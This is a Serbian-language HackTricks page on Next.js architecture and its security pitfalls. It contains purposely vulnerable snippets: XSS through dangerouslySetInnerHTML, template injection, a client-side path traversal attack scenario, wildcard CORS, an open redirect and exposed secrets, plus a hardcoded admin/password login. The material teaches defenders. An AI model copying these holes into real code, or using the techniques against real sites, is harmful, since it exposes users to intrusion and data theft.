NextJS
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Opšta arhitektura Next.js aplikacije
Tipična struktura fajlova
Standardni Next.js projekat prati specifičnu strukturu fajlova i direktorijuma koja olakšava njegove funkcionalnosti kao što su rutiranje, API endpointi i upravljanje statičkim resursima. Evo tipičnog rasporeda:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Osnovni direktorijumi i fajlovi
- public/: Sadrži statičke resurse kao što su slike, fontovi i ostali fajlovi. Fajlovi ovde su dostupni na korenskoj putanji (
/). - app/: Centralni direktorijum za stranice, layout-e, komponente i API rute vaše aplikacije. Usvaja App Router paradigmu, omogućavajući napredne funkcije rutiranja i razdvajanje server- i klijent-komponenti.
- app/layout.tsx: Definiše korenski layout vaše aplikacije, obuhvatajući sve stranice i pružajući konzistentne UI elemente kao što su zaglavlja, podnožja i navigacione trake.
- app/page.tsx: Služi kao ulazna tačka za korensku rutu
/, renderujući početnu stranicu. - app/[route]/page.tsx: Rukuje statičkim i dinamičkim rutama. Svaka fascikla unutar
app/predstavlja segment rute, apage.tsxunutar te fascikle odgovara komponenti te rute. - app/api/: Sadrži API rute, omogućavajući vam da kreirate serverless funkcije koje obrađuju HTTP zahteve. Ove rute zamenjuju tradicionalni direktorijum
pages/api. - app/components/: Smešta ponovno upotrebljive React komponente koje se mogu koristiti na različitim stranicama i layout-ima.
- app/styles/: Sadrži globalne CSS fajlove i CSS Modules za stilizaciju ograničenu na komponente.
- app/utils/: Uključuje utilitarne funkcije, pomoćne module i drugu logiku van UI-a koja se može deliti kroz aplikaciju.
- .env.local: Čuva environment promenljive specifične za lokalno razvojno okruženje. Ove promenljive se ne čuvaju u verzionoj kontroli.
- next.config.js: Prilagođava ponašanje Next.js-a, uključujući webpack konfiguracije, environment promenljive i bezbednosna podešavanja.
- tsconfig.json: Konfiguriše TypeScript podešavanja za projekat, omogućavajući provere tipova i druge TypeScript funkcionalnosti.
- package.json: Upravljа zavisnostima projekta, skriptama i metapodacima.
- README.md: Pruža dokumentaciju i informacije o projektu, uključujući uputstva za podešavanje, smernice korišćenja i druge relevantne detalje.
- yarn.lock / package-lock.json: Zaključava verzije zavisnosti projekta, osiguravajući konzistentne instalacije u različitim okruženjima.
Klijentska strana u Next.js
Rutiranje zasnovano na fajlovima u direktorijumu app
Direktorijum app je temelj rutiranja u najnovijim verzijama Next.js-a. Koristi fajl-sistem za definisanje ruta, čineći upravljanje rutama intuitivnim i skalabilnim.
Rukovanje korenskom putanjom /
Struktura fajlova:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Ključne datoteke:
app/page.tsx: Obrađuje zahteve na root putanji/.app/layout.tsx: Definiše izgled aplikacije, koji obuhvata sve stranice.
Implementacija:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Objašnjenje:
- Definicija rute: Fajl
page.tsxkoji se nalazi direktno u direktorijumuappodgovara ruti/. - Renderovanje: Ova komponenta renderuje sadržaj početne strane.
- Integracija layout-a: Komponenta
HomePageje obuhvaćena fajlomlayout.tsx, koji može sadržavati zaglavlja, podnožja i druge zajedničke elemente.
Rukovanje drugim statičkim putanjama
Primer: ruta /about
Struktura fajlova:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacija:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Objašnjenje:
- Definicija rute: Fajl
page.tsxunutar direktorijumaaboutodgovara ruti/about. - Renderovanje: Ova komponenta prikazuje sadržaj za stranicu
about.
Dinamičke rute
Dinamičke rute omogućavaju rukovanje putanjama sa promenljivim segmentima, što aplikacijama omogućava prikaz sadržaja na osnovu parametara kao što su ID-ovi, slugovi itd.
Primer: /posts/[id] ruta
Struktura fajlova:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacija:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Objašnjenje:
- Dinamički segment:
[id]označava dinamički segment u ruti, hvatajućiidparametar iz URL-a. - Pristup parametrima: Objekat
paramssadrži dinamičke parametre, dostupne unutar komponente. - Poklapanje ruta: Bilo koja putanja koja odgovara
/posts/*, kao što su/posts/1,/posts/abc, itd., biće obrađena ovom komponentom.
Ugnježdene rute
Next.js podržava ugnježdeno rutiranje, omogućavajući hijerarhijske strukture ruta koje odražavaju raspored direktorijuma.
Primer: ruta /dashboard/settings/profile
Struktura fajlova:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacija:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Objašnjenje:
- Duboko ugnježđavanje:
page.tsxfajl unutardashboard/settings/profile/odgovara ruti/dashboard/settings/profile. - Odzrcaljavanje hijerarhije: Struktura direktorijuma reflektuje URL putanju, poboljšavajući održavanje i jasnoću.
Catch-All rute
Catch-all rute obrađuju više ugnježdenih segmenata ili nepoznate putanje, pružajući fleksibilnost u rukovanju rutama.
Primer: /* ruta
Struktura fajlova:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacija:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Objašnjenje:
- Catch-All Segment:
[...slug]hvata sve preostale segmente puta kao niz. - Usage: Korisno za rukovanje dinamičkim rutiranjem, npr. putanjama koje kreiraju korisnici, ugnježdenim kategorijama itd.
- Route Matching: Putanje poput
/anything/here,/foo/bar/bazitd. obrađuje ova komponenta.
Potencijalne ranjivosti na strani klijenta
Iako Next.js pruža sigurnu osnovu, nepravilne prakse kodiranja mogu uvesti ranjivosti. Ključne ranjivosti na strani klijenta uključuju:
Cross-Site Scripting (XSS)
XSS napadi se dešavaju kada se zlonamerni skripti ubace u pouzdane veb-sajtove. Napadači mogu izvršavati skripte u pretraživačima korisnika, kradući podatke ili izvršavajući radnje u ime korisnika.
Primer ranjivog koda:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Zašto je ranjivo: Korišćenje dangerouslySetInnerHTML sa nepouzdanim ulazom omogućava napadačima da ubace maliciozne skripte.
Client-Side Template Injection
Dogodi se kada se korisnički unosi neispravno obrađuju u šablonima, što omogućava napadačima da ubace i izvrše šablone ili izraze.
Primer ranjivog koda:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Zašto je ranjivo: Ako template ili data sadrže zlonamerni sadržaj, to može dovesti do izvršavanja nepredviđenog koda.
Client Path Traversal
Ovo je ranjivost koja napadačima omogućava manipulaciju client-side putanjama kako bi izvršili nepredviđene radnje, kao što je Cross-Site Request Forgery (CSRF). Za razliku od server-side path traversal, koja cilja filesystem servera, CSPT se fokusira na iskorišćavanje mehanizama na client-side kako bi preusmerila legitimne API zahteve na zlonamerne endpoint-e.
Primer ranjivog koda:
Next.js aplikacija omogućava korisnicima da otpremaju i preuzimaju fajlove. Funkcija za preuzimanje je implementirana na client-side, gde korisnici mogu navesti putanju fajla za preuzimanje.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Scenarij napada
- Cilj napadača: Izvesti CSRF napad kako bi obrisao kritičnu datoteku (npr.,
admin/config.json) manipulišućifilePath. - Iskorišćavanje CSPT:
- Zlonamerni unos: Napadač kreira URL sa manipulisanim
filePathkao na primer../deleteFile/config.json. - Rezultujući API poziv: Kod na klijentskoj strani šalje zahtev na
/api/files/../deleteFile/config.json. - Rukovanje na serveru: Ako server ne validira
filePath, obradiće zahtev, što može dovesti do brisanja ili otkrivanja osetljivih fajlova.
- Izvođenje CSRF-a:
- Kreirani link: Napadač šalje žrtvi link ili ubacuje zlonamerni skript koji pokreće zahtev za preuzimanje sa manipulisanim
filePath. - Ishod: Žrtva nenamerno izvršava akciju, što dovodi do neautorizovanog pristupa fajlovima ili njihovog brisanja.
Zašto je ranjivo
- Nedostatak validacije unosa: Klijentska strana dozvoljava proizvoljne
filePathunose, omogućavajući path traversal. - Poveravanje unosima sa klijentske strane: API na serverskoj strani veruje i procesuira
filePathbez sanitizacije. - Potencijalne akcije API-ja: Ako API endpoint izvršava izmene stanja (npr., brisanje, izmena fajlova), može biti iskorišćen putem CSPT.
Serverska strana u Next.js
Server-Side Rendering (SSR)
Stranice se renderuju na serveru pri svakom zahtevu, što obezbeđuje da korisnik dobije potpuno renderovan HTML. U tom slučaju treba da napravite sopstveni prilagođeni server da obrađuje zahteve.
Slučajevi upotrebe:
- Dinamički sadržaj koji se često menja.
- SEO optimizacija, jer pretraživači mogu indeksirati potpuno renderovanu stranicu.
Implementacija:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Generisanje statičkog sajta (SSG)
Stranice se prerenderuju tokom build procesa, što rezultuje bržim učitavanjem i smanjenim opterećenjem servera.
Slučajevi upotrebe:
- Sadržaj koji se ne menja često.
- Blogovi, dokumentacija, marketinške stranice.
Implementacija:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Serverless funkcije (API Routes)
Next.js omogućava kreiranje API endpoint-a kao serverless funkcija. Ove funkcije se izvršavaju po potrebi bez potrebe za dedikovanim serverom.
Upotrebe:
- Rukovanje slanjem formi.
- Interakcija sa bazama podataka.
- Obrada podataka ili integracija sa API-ima trećih strana.
Implementacija:
Uvođenjem app direktorijuma u Next.js 13, routing i rukovanje API-jem su postali fleksibilniji i moćniji. Ovaj moderan pristup se dobro uklapa sa sistemom rutiranja zasnovanim na fajlovima, ali uvodi poboljšane mogućnosti, uključujući podršku za server i client komponente.
Osnovni handler rute
Struktura fajlova:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementacija:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Objašnjenje:
- Lokacija: API routes se nalaze u direktorijumu
app/api/. - Naziv fajla: Svaki API endpoint se nalazi u svom folderu koji sadrži
route.jsiliroute.tsfajl. - Exported Functions: Umesto jednog default export-a, eksportuju se specifične HTTP method funkcije (npr.
GET,POST). - Rukovanje odgovorima: Koristite
Responseconstructor za vraćanje odgovora, što omogućava veću kontrolu nad headers i status codes.
Kako rukovati drugim putanjama i metodama:
Rukovanje specifičnim HTTP metodama
Next.js 13+ omogućava da definišete handlere za specifične HTTP metode u istom route.js ili route.ts fajlu, što doprinosi jasnijem i organizovanijem kodu.
Primer:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Objašnjenje:
- Višestruki eksporti: Svaka HTTP metoda (
GET,PUT,DELETE) ima svoju eksportovanu funkciju. - Parametri: Drugi argument omogućava pristup parametrima rute preko
params. - Poboljšani odgovori: Veća kontrola nad response objektima, omogućavajući precizno upravljanje header-ima i status kodovima.
Catch-All i ugnježdene rute
Next.js 13+ podržava napredne opcije rutiranja kao što su catch-all rute i ugnježdene API rute, što omogućava dinamičnije i skalabilnije API strukture.
Primer catch-all rute:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Objašnjenje:
- Sintaksa:
[...]označava catch-all segment, koji obuhvata sve ugnježdene putanje. - Upotreba: Korisno za API-je koji treba da obrađuju rute različite dubine ili dinamičke segmente.
Primer ugnježdenih ruta:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Objašnjenje:
- Duboko ugnježđavanje: Omogućava hijerarhijske API strukture koje odražavaju odnose između resursa.
- Pristup parametrima: Lako pristupite višestrukim parametrima rute preko
paramsobjekta.
Rukovanje API rutama u Next.js 12 i ranijim verzijama
API rute u direktorijumu pages (Next.js 12 i ranijim verzijama)
Pre nego što je Next.js 13 uveo direktorijum app i poboljšane mogućnosti rutiranja, API rute su se pretežno definisale unutar direktorijuma pages. Ovaj pristup je i dalje široko korišćen i podržan u Next.js 12 i ranijim verzijama.
Osnovna API ruta
Struktura fajlova:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementacija:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Objašnjenje:
- Lokacija: API routes se nalaze u direktorijumu
pages/api/. - Export: Koristite
export defaultda definišete handler funkciju. - Potpis funkcije: Handler prima
req(HTTP request) ires(HTTP response) objekte. - Rutiranje: Ime fajla (
hello.js) mapira na endpoint/api/hello.
Dinamičke API rute
Struktura fajlova:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementacija:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Objašnjenje:
- Dinamički segmenti: Uglaste zagrade (
[id].js) označavaju dinamičke segmente rute. - Pristup parametrima: Koristite
req.query.idda pristupite dinamičkom parametru. - Rukovanje metodama: Koristite uslovnu logiku za rukovanje različitim HTTP metodama (
GET,PUT,DELETE, itd.).
Rukovanje različitim HTTP metodama
Iako osnovni primer API rute obrađuje sve HTTP metode unutar jedne funkcije, možete strukturisati svoj kod tako da eksplicitno obrađuje svaku metodu radi bolje preglednosti i održavanja.
Primer:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Najbolje prakse:
- Separation of Concerns: Jasno razdvojite logiku za različite HTTP metode.
- Response Consistency: Obezbedite konzistentne strukture odgovora radi lakšeg rukovanja na strani klijenta.
- Error Handling: Na odgovarajući način obradite nepodržane metode i neočekivane greške.
Konfiguracija CORS-a
Kontrolišite koje origin-e mogu pristupiti vašim API rutama, čime se ublažavaju ranjivosti vezane za Cross-Origin Resource Sharing (CORS) vulnerabilities.
Loš primer konfiguracije:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Imajte na umu da se CORS može takođe konfigurisati u svim API rutama unutar fajla middleware.ts:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problem:
Access-Control-Allow-Origin: '*': Dozvoljava bilo kojem veb-sajtu da pristupi API-ju, potencijalno omogućavajući zlonamernim sajtovima da komuniciraju sa vašim API-jem bez ograničenja.- Široka dozvola metoda: Dozvoljavanje svih metoda može omogućiti napadačima da izvrše neželjene akcije.
Kako napadači to iskorišćavaju:
Napadači mogu napraviti zlonamerne veb-sajtove koji šalju zahteve vašem API-ju, potencijalno zloupotrebljavajući funkcionalnosti kao što su preuzimanje podataka, manipulacija podacima ili pokretanje neželjenih akcija u ime autentifikovanih korisnika.
CORS - Misconfigurations & Bypass
Izlaganje server koda na klijentskoj strani
Lako je koristiti kod koji se koristi na serveru i takođe ga izložiti i koristiti na klijentskoj strani, najbolji način da se osigura da se fajl koda nikada ne izlaže na klijentskoj strani je korišćenjem ovog import na početku fajla:
import "server-only"
Ključne datoteke i njihove uloge
middleware.ts / middleware.js
Location: Root projekta ili unutar src/.
Purpose: Izvršava kod u server-side serverless funkciji pre nego što se zahtev obradi, omogućavajući zadatke kao što su autentikacija, preusmeravanja ili izmena odgovora.
Execution Flow:
- Dolazeći zahtev: Middleware presreće zahtev.
- Obrada: Izvodi operacije na osnovu zahteva (npr. provera autentikacije).
- Izmena odgovora: Može izmeniti odgovor ili predati kontrolu sledećem handleru.
Example Use Cases:
- Preusmeravanje neautentifikovanih korisnika.
- Dodavanje prilagođenih zaglavlja.
- Logovanje zahteva.
Sample Configuration:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
next.config.js
Lokacija: koren projekta.
Svrha: Konfiguriše ponašanje Next.js-a, omogućava ili onemogućava funkcije, prilagođava webpack konfiguracije, postavlja promenljive okruženja i podešava više bezbednosnih opcija.
Ključne bezbednosne konfiguracije:
Bezbednosna zaglavlja
Bezbednosna zaglavlja povećavaju sigurnost vaše aplikacije tako što pregledačima govore kako da tretiraju sadržaj. Pomažu u ublažavanju različitih napada kao što su Cross-Site Scripting (XSS), Clickjacking i MIME type sniffing:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Primeri:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Podešavanja optimizacije slika
Next.js optimizuje slike radi performansi, ali pogrešna konfiguracija može dovesti do bezbednosnih ranjivosti, kao što je omogućavanje nepouzdanim izvorima da ubace zlonamerni sadržaj.
Loš primer konfiguracije:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problem:
'*': Dozvoljava učitavanje slika sa bilo kog eksternog izvora, uključujući nepouzdane ili zlonamerne domene. Napadači mogu hostovati slike koje sadrže zlonamerni payload ili sadržaj koji obmanjuje korisnike.- Drugi problem može biti dozvoljavanje domena gde svako može da postavi sliku (npr.
raw.githubusercontent.com)
Kako napadači to zloupotrebljavaju:
Ubacivanjem slika sa zlonamernih izvora, napadači mogu izvoditi phishing napade, prikazivati obmanjujuće informacije ili iskorišćavati ranjivosti u bibliotekama za renderovanje slika.
Izlaganje varijabli okruženja
Rukujte osetljivim informacijama poput API ključeva i kredencijala za bazu podataka na siguran način, bez izlaganja klijentu.
a. Izlaganje osetljivih varijabli
Loš primer konfiguracije:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
Problem:
SECRET_API_KEY: Bez prefiksaNEXT_PUBLIC_, Next.js ne izlaže promenljive klijentu. Međutim, ako se greškom doda prefiks (npr.NEXT_PUBLIC_SECRET_API_KEY), one postaju dostupne na strani klijenta.
Kako napadači to zloupotrebljavaju:
Ako su osetljive promenljive izložene klijentu, napadači ih mogu pribaviti pregledom koda na strani klijenta ili mrežnih zahteva, stičući neovlašćen pristup API-jevima, bazama podataka ili drugim servisima.
Preusmeravanja
Upravljajte URL preusmerenjima i prepisivanjima (rewrites) u okviru vaše aplikacije, kako biste osigurali da su korisnici pravilno preusmereni bez uvođenja open redirect vulnerabilities.
a. Open Redirect Vulnerability
Loš primer konfiguracije:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problem:
- Dinamička destinacija: Omogućava korisnicima da navedu bilo koji URL, što omogućava open redirect napade.
- Pouzdanje u korisničkom unosu: Preusmeravanja na URL-ove koje korisnici navedu bez validacije mogu dovesti do phishing, malware distribution ili credential theft.
How attackers abuse it:
Napadači mogu konstruisati URL-ove koji izgledaju kao da potiču iz vašeg domena, ali preusmeravaju korisnike na zlonamerne sajtove. Na primer:
https://yourdomain.com/redirect?url=https://malicious-site.com
Users trusting the original domain might unknowingly navigate to harmful websites.
Konfiguracija Webpack-a
Prilagođavanje Webpack konfiguracija za vašu Next.js aplikaciju može nenamerno uvesti bezbednosne ranjivosti ako se ne postupa pažljivo.
a. Izlaganje osetljivih modula
Loš primer konfiguracije:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problem:
- Exposing Sensitive Paths: Aliasovanje osetljivih direktorijuma i dozvoljavanje client-side pristupa može leak poverljive informacije.
- Bundling Secrets: Ako se osetljivi fajlovi bundluju za klijenta, njihov sadržaj postaje dostupan kroz source maps ili pregledom client-side koda.
How attackers abuse it:
Napadači mogu pristupiti ili rekonstruisati strukturu direktorijuma aplikacije, potencijalno pronalazeći i iskorišćavajući osetljive fajlove ili podatke.
pages/_app.js i pages/_document.js
pages/_app.js
Svrha: Preklapa podrazumevanu App komponentu, omogućavajući globalno stanje, stilove i komponente za layout.
Primeri upotrebe:
- Ubacivanje globalnog CSS-a.
- Dodavanje wrapper-a za layout.
- Integracija biblioteka za upravljanje stanjem.
Primer:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Svrha: Zamenjuje podrazumevani Document, omogućavajući prilagođavanje <html> i <body> tagova.
Primeri upotrebe:
- Izmena
<html>ili<body>tagova. - Dodavanje meta tagova ili prilagođenih skripti.
- Integracija fontova trećih strana.
Primer:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Custom Server (Optional)
Purpose: Dok Next.js dolazi sa built-in serverom, možete kreirati custom server za napredne slučajeve upotrebe kao što su custom routing ili integracija sa postojećim backend services.
Note: Korišćenje custom server-a može ograničiti deployment options, posebno na platformama kao što je Vercel koje su optimizovane za Next.js’s built-in server.
Example:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Dodatna arhitektonska i bezbednosna razmatranja
Varijable okruženja i konfiguracija
Svrha: Upravljanje osetljivim informacijama i podešavanjima konfiguracije izvan codebase-a.
Najbolje prakse:
- Koristite
.envfajlove: Čuvajte varijable kao API keys u.env.local(isključeno iz kontrole verzija). - Pristupajte varijablama sigurno: Koristite
process.env.VARIABLE_NAMEza pristup varijablama okruženja. - Nikada ne izlažite tajne na klijentu: Osigurajte da se osetljive varijable koriste samo na serverskoj strani.
Primer:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Napomena: Da biste ograničili promenljive samo na serverskoj strani, izostavite ih iz env objekta ili ih prefiksirajte sa NEXT_PUBLIC_ za izlaganje klijentu.
Autentikacija i autorizacija
Pristup:
- Session-Based Authentication: Koristite cookies za upravljanje korisničkim sesijama.
- Token-Based Authentication: Implementujte JWTs za autentikaciju bez stanja.
- Third-Party Providers: Povežite se sa OAuth provajderima (npr., Google, GitHub) koristeći biblioteke kao
next-auth.
Bezbednosne prakse:
- Secure Cookies: Postavite atribute
HttpOnly,SecureiSameSite. - Password Hashing: Uvek heširajte lozinke pre nego što ih sačuvate.
- Input Validation: Sprečite injection napade validacijom i sanitizacijom ulaza.
Primer:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Optimizacija performansi
Strategije:
- Optimizacija slika: Koristite Next.js-ov
next/imagekomponentu za automatsku optimizaciju slika. - Razdvajanje koda: Iskoristite dynamic imports za razdvajanje koda i smanjenje vremena početnog učitavanja.
- Keširanje: Implementirajte strategije keširanja za API odgovore i statičke resurse.
- Odloženo učitavanje: Učitajte komponente ili resurse samo kada su potrebni.
Primer:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
